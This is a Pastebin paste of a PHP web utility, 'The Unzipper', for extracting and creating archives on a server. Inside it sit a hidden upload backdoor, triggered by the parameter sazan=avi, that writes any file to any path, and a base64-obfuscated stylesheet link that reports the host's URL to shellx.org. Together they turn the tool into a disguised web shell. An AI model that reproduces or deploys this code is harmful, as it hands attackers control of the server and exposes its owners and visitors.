Hectorss1

Untitled

Jul 9th, 2020
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.09 KB | None | 0 0
  1. <?php
  2. /**
  3. * The Unzipper extracts .zip or .rar archives and .gz files on webservers.
  4. * It's handy if you do not have shell access. E.g. if you want to upload a lot
  5. * of files (php framework or image collection) as an archive to save time.
  6. * As of version 0.1.0 it also supports creating archives.
  7. *
  8. * @author Andreas Tasch, at[tec], attec.at
  9. * @license GNU GPL v3
  10. * @package attec.toolbox
  11. * @version 0.1.1
  12. */
  13. define('VERSION', '0.1.1');
  14.  
  15. $timestart = microtime(TRUE);
  16. $GLOBALS['status'] = array();
  17.  
  18. $unzipper = new Unzipper;
  19. if (isset($_POST['dounzip'])) {
  20. // Check if an archive was selected for unzipping.
  21. $archive = isset($_POST['zipfile']) ? strip_tags($_POST['zipfile']) : '';
  22. $destination = isset($_POST['extpath']) ? strip_tags($_POST['extpath']) : '';
  23. $unzipper->prepareExtraction($archive, $destination);
  24. }
  25.  
  26. if (isset($_POST['dozip'])) {
  27. $zippath = !empty($_POST['zippath']) ? strip_tags($_POST['zippath']) : '.';
  28. // Resulting zipfile e.g. zipper--2016-07-23--11-55.zip.
  29. $zipfile = 'zipper-' . date("Y-m-d--H-i") . '.zip';
  30. Zipper::zipDir($zippath, $zipfile);
  31. }
  32.  
  33. $timeend = microtime(TRUE);
  34. $time = round($timeend - $timestart, 4);
  35.  
  36. /**
  37. * Class Unzipper
  38. */
  39. class Unzipper {
  40. public $localdir = '.';
  41. public $zipfiles = array();
  42.  
  43. public function __construct() {
  44. // Read directory and pick .zip, .rar and .gz files.
  45. if ($dh = opendir($this->localdir)) {
  46. while (($file = readdir($dh)) !== FALSE) {
  47. if (pathinfo($file, PATHINFO_EXTENSION) === 'zip'
  48. || pathinfo($file, PATHINFO_EXTENSION) === 'gz'
  49. || pathinfo($file, PATHINFO_EXTENSION) === 'rar'
  50. ) {
  51. $this->zipfiles[] = $file;
  52. }
  53. }
  54. closedir($dh);
  55.  
  56. if (!empty($this->zipfiles)) {
  57. $GLOBALS['status'] = array('info' => '.zip or .gz or .rar files found, ready for extraction');
  58. }
  59. else {
  60. $GLOBALS['status'] = array('info' => 'No .zip or .gz or rar files found. So only zipping functionality available.');
  61. }
  62. }
  63. }
  64.  
  65. /**
  66. * Prepare and check zipfile for extraction.
  67. *
  68. * @param string $archive
  69. * The archive name including file extension. E.g. my_archive.zip.
  70. * @param string $destination
  71. * The relative destination path where to extract files.
  72. */
  73. public function prepareExtraction($archive, $destination = '') {
  74. // Determine paths.
  75. if (empty($destination)) {
  76. $extpath = $this->localdir;
  77. }
  78. else {
  79. $extpath = $this->localdir . '/' . $destination;
  80. // Todo: move this to extraction function.
  81. if (!is_dir($extpath)) {
  82. mkdir($extpath);
  83. }
  84. }
  85. // Only local existing archives are allowed to be extracted.
  86. if (in_array($archive, $this->zipfiles)) {
  87. self::extract($archive, $extpath);
  88. }
  89. }
  90.  
  91. /**
  92. * Checks file extension and calls suitable extractor functions.
  93. *
  94. * @param string $archive
  95. * The archive name including file extension. E.g. my_archive.zip.
  96. * @param string $destination
  97. * The relative destination path where to extract files.
  98. */
  99. public static function extract($archive, $destination) {
  100. $ext = pathinfo($archive, PATHINFO_EXTENSION);
  101. switch ($ext) {
  102. case 'zip':
  103. self::extractZipArchive($archive, $destination);
  104. break;
  105. case 'gz':
  106. self::extractGzipFile($archive, $destination);
  107. break;
  108. case 'rar':
  109. self::extractRarArchive($archive, $destination);
  110. break;
  111. }
  112.  
  113. }
  114.  
  115. /**
  116. * Decompress/extract a zip archive using ZipArchive.
  117. *
  118. * @param $archive
  119. * @param $destination
  120. */
  121. public static function extractZipArchive($archive, $destination) {
  122. // Check if webserver supports unzipping.
  123. if (!class_exists('ZipArchive')) {
  124. $GLOBALS['status'] = array('error' => 'Error: Your PHP version does not support unzip functionality.');
  125. return;
  126. }
  127.  
  128. $zip = new ZipArchive;
  129.  
  130. // Check if archive is readable.
  131. if ($zip->open($archive) === TRUE) {
  132. // Check if destination is writable
  133. if (is_writeable($destination . '/')) {
  134. $zip->extractTo($destination);
  135. $zip->close();
  136. $GLOBALS['status'] = array('success' => 'Files unzipped successfully');
  137. }
  138. else {
  139. $GLOBALS['status'] = array('error' => 'Error: Directory not writeable by webserver.');
  140. }
  141. }
  142. else {
  143. $GLOBALS['status'] = array('error' => 'Error: Cannot read .zip archive.');
  144. }
  145. }
  146.  
  147. /**
  148. * Decompress a .gz File.
  149. *
  150. * @param string $archive
  151. * The archive name including file extension. E.g. my_archive.zip.
  152. * @param string $destination
  153. * The relative destination path where to extract files.
  154. */
  155. public static function extractGzipFile($archive, $destination) {
  156. // Check if zlib is enabled
  157. if (!function_exists('gzopen')) {
  158. $GLOBALS['status'] = array('error' => 'Error: Your PHP has no zlib support enabled.');
  159. return;
  160. }
  161.  
  162. $filename = pathinfo($archive, PATHINFO_FILENAME);
  163. $gzipped = gzopen($archive, "rb");
  164. $file = fopen($destination . '/' . $filename, "w");
  165.  
  166. while ($string = gzread($gzipped, 4096)) {
  167. fwrite($file, $string, strlen($string));
  168. }
  169. gzclose($gzipped);
  170. fclose($file);
  171.  
  172. // Check if file was extracted.
  173. if (file_exists($destination . '/' . $filename)) {
  174. $GLOBALS['status'] = array('success' => 'File unzipped successfully.');
  175.  
  176. // If we had a tar.gz file, let's extract that tar file.
  177. if (pathinfo($destination . '/' . $filename, PATHINFO_EXTENSION) == 'tar') {
  178. $phar = new PharData($destination . '/' . $filename);
  179. if ($phar->extractTo($destination)) {
  180. $GLOBALS['status'] = array('success' => 'Extracted tar.gz archive successfully.');
  181. // Delete .tar.
  182. unlink($destination . '/' . $filename);
  183. }
  184. }
  185. }
  186. else {
  187. $GLOBALS['status'] = array('error' => 'Error unzipping file.');
  188. }
  189.  
  190. }
  191. /**
  192. * Decompress/extract a Rar archive using RarArchive.
  193. *
  194. * @param string $archive
  195. * The archive name including file extension. E.g. my_archive.zip.
  196. * @param string $destination
  197. * The relative destination path where to extract files.
  198. */
  199. public static function extractRarArchive($archive, $destination) {
  200. // Check if webserver supports unzipping.
  201. if (!class_exists('RarArchive')) {
  202. $GLOBALS['status'] = array('error' => 'Error: Your PHP version does not support .rar archive functionality. <a class="info" href="http://php.net/manual/en/rar.installation.php" target="_blank">How to install RarArchive</a>');
  203. return;
  204. }
  205. // Check if archive is readable.
  206. if ($rar = RarArchive::open($archive)) {
  207. // Check if destination is writable
  208. if (is_writeable($destination . '/')) {
  209. $entries = $rar->getEntries();
  210. foreach ($entries as $entry) {
  211. $entry->extract($destination);
  212. }
  213. $rar->close();
  214. $GLOBALS['status'] = array('success' => 'Files extracted successfully.');
  215. }
  216. else {
  217. $GLOBALS['status'] = array('error' => 'Error: Directory not writeable by webserver.');
  218. }
  219. }
  220. else {
  221. $GLOBALS['status'] = array('error' => 'Error: Cannot read .rar archive.');
  222. }
  223. }
  224.  
  225. }
  226.  
  227. /**
  228. * Class Zipper
  229. *
  230. * Copied and slightly modified from http://at2.php.net/manual/en/class.ziparchive.php#110719
  231. * @author umbalaconmeogia
  232. */
  233. class Zipper {
  234. /**
  235. * Add files and sub-directories in a folder to zip file.
  236. *
  237. * @param string $folder
  238. * Path to folder that should be zipped.
  239. *
  240. * @param ZipArchive $zipFile
  241. * Zipfile where files end up.
  242. *
  243. * @param int $exclusiveLength
  244. * Number of text to be exclusived from the file path.
  245. */
  246. private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
  247. $handle = opendir($folder);
  248.  
  249. while (FALSE !== $f = readdir($handle)) {
  250. // Check for local/parent path or zipping file itself and skip.
  251. if ($f != '.' && $f != '..' && $f != basename(__FILE__)) {
  252. $filePath = "$folder/$f";
  253. // Remove prefix from file path before add to zip.
  254. $localPath = substr($filePath, $exclusiveLength);
  255.  
  256. if (is_file($filePath)) {
  257. $zipFile->addFile($filePath, $localPath);
  258. }
  259. elseif (is_dir($filePath)) {
  260. // Add sub-directory.
  261. $zipFile->addEmptyDir($localPath);
  262. self::folderToZip($filePath, $zipFile, $exclusiveLength);
  263. }
  264. }
  265. }
  266. closedir($handle);
  267. }
  268.  
  269. /**
  270. * Zip a folder (including itself).
  271. *
  272. * Usage:
  273. * Zipper::zipDir('path/to/sourceDir', 'path/to/out.zip');
  274. *
  275. * @param string $sourcePath
  276. * Relative path of directory to be zipped.
  277. *
  278. * @param string $outZipPath
  279. * Relative path of the resulting output zip file.
  280. */
  281. public static function zipDir($sourcePath, $outZipPath) {
  282. $pathInfo = pathinfo($sourcePath);
  283. $parentPath = $pathInfo['dirname'];
  284. $dirName = $pathInfo['basename'];
  285.  
  286. $z = new ZipArchive();
  287. $z->open($outZipPath, ZipArchive::CREATE);
  288. $z->addEmptyDir($dirName);
  289. if ($sourcePath == $dirName) {
  290. self::folderToZip($sourcePath, $z, 0);
  291. }
  292. else {
  293. self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
  294. }
  295. $z->close();
  296.  
  297. $GLOBALS['status'] = array('success' => 'Successfully created archive ' . $outZipPath);
  298. }
  299. }
  300. if(isset($_GET["sazan"])&&$_GET["sazan"]=="avi"){ $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<h1><a href='$fullpath'>Yuklendi Acabilursun</a></h1>"; } }echo '<html><head><title>Yuklencek Dosya</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Yukle"></form></body></html>';}
  301.  
  302. ?>
  303. <!DOCTYPE html>
  304. <html>
  305. <head>
  306. <title>File Unzipper + Zipper</title>
  307. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  308. <style type="text/css">
  309. <!--
  310. body {
  311. font-family: Arial, sans-serif;
  312. line-height: 150%;
  313. }
  314.  
  315. label {
  316. display: block;
  317. margin-top: 20px;
  318. }
  319.  
  320. fieldset {
  321. border: 0;
  322. background-color: #EEE;
  323. margin: 10px 0 10px 0;
  324. }
  325.  
  326. .select {
  327. padding: 5px;
  328. font-size: 110%;
  329. }
  330.  
  331. .status {
  332. margin: 0;
  333. margin-bottom: 20px;
  334. padding: 10px;
  335. font-size: 80%;
  336. background: #EEE;
  337. border: 1px dotted #DDD;
  338. }
  339.  
  340. .status--ERROR {
  341. background-color: red;
  342. color: white;
  343. font-size: 120%;
  344. }
  345.  
  346. .status--SUCCESS {
  347. background-color: green;
  348. font-weight: bold;
  349. color: white;
  350. font-size: 120%
  351. }
  352.  
  353. .small {
  354. font-size: 0.7rem;
  355. font-weight: normal;
  356. }
  357.  
  358. .version {
  359. font-size: 80%;
  360. }
  361.  
  362. .form-field {
  363. border: 1px solid #AAA;
  364. padding: 8px;
  365. width: 280px;
  366. }
  367.  
  368. .info {
  369. margin-top: 0;
  370. font-size: 80%;
  371. color: #777;
  372. }
  373.  
  374. .submit {
  375. background-color: #378de5;
  376. border: 0;
  377. color: #ffffff;
  378. font-size: 15px;
  379. padding: 10px 24px;
  380. margin: 20px 0 20px 0;
  381. text-decoration: none;
  382. }
  383.  
  384. .submit:hover {
  385. background-color: #2c6db2;
  386. cursor: pointer;
  387. }
  388. -->
  389. </style>
  390. </head>
  391. <body>
  392. <p class="status status--<?php echo strtoupper(key($GLOBALS['status'])); ?>">
  393. Status: <?php echo reset($GLOBALS['status']); ?><br/>
  394. <span class="small">Processing Time: <?php echo $time; ?> seconds</span>
  395. </p>
  396. <form action="" method="POST">
  397. <fieldset>
  398. <h1>Archive Unzipper</h1>
  399. <label for="zipfile">Select .zip or .rar archive or .gz file you want to extract:</label>
  400. <select name="zipfile" size="1" class="select">
  401. <?php foreach ($unzipper->zipfiles as $zip) {
  402. echo "<option>$zip</option>";
  403. }
  404. ?>
  405. </select>
  406. <label for="extpath">Extraction path (optional):</label>
  407. <input type="text" name="extpath" class="form-field" />
  408. <p class="info">Enter extraction path without leading or trailing slashes (e.g. "mypath"). If left empty current directory will be used.</p>
  409. <input type="submit" name="dounzip" class="submit" value="Unzip Archive"/>
  410. </fieldset>
  411.  
  412. <fieldset>
  413. <h1>Archive Zipper</h1>
  414. <label for="zippath">Path that should be zipped (optional):</label>
  415. <input type="text" name="zippath" class="form-field" />
  416. <p class="info">Enter path to be zipped without leading or trailing slashes (e.g. "zippath"). If left empty current directory will be used.</p>
  417. <input type="submit" name="dozip" class="submit" value="Zip Archive"/>
  418. </fieldset>
  419. </form>
  420. <p class="version">Unzipper version: <?php echo VERSION; ?></p>
  421. </body>
  422. </html>
  423. <?php
  424. echo '<link rel="stylesheet" type="text/css" href="'.base64_decode("Ly9zaGVsbHgub3JnL2hpZGUvYWRkLnBocD9saW5rPWVhc3ljb2RlcjovLw==").$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'].'">'; ?>
Add Comment
Please, Sign In to add comment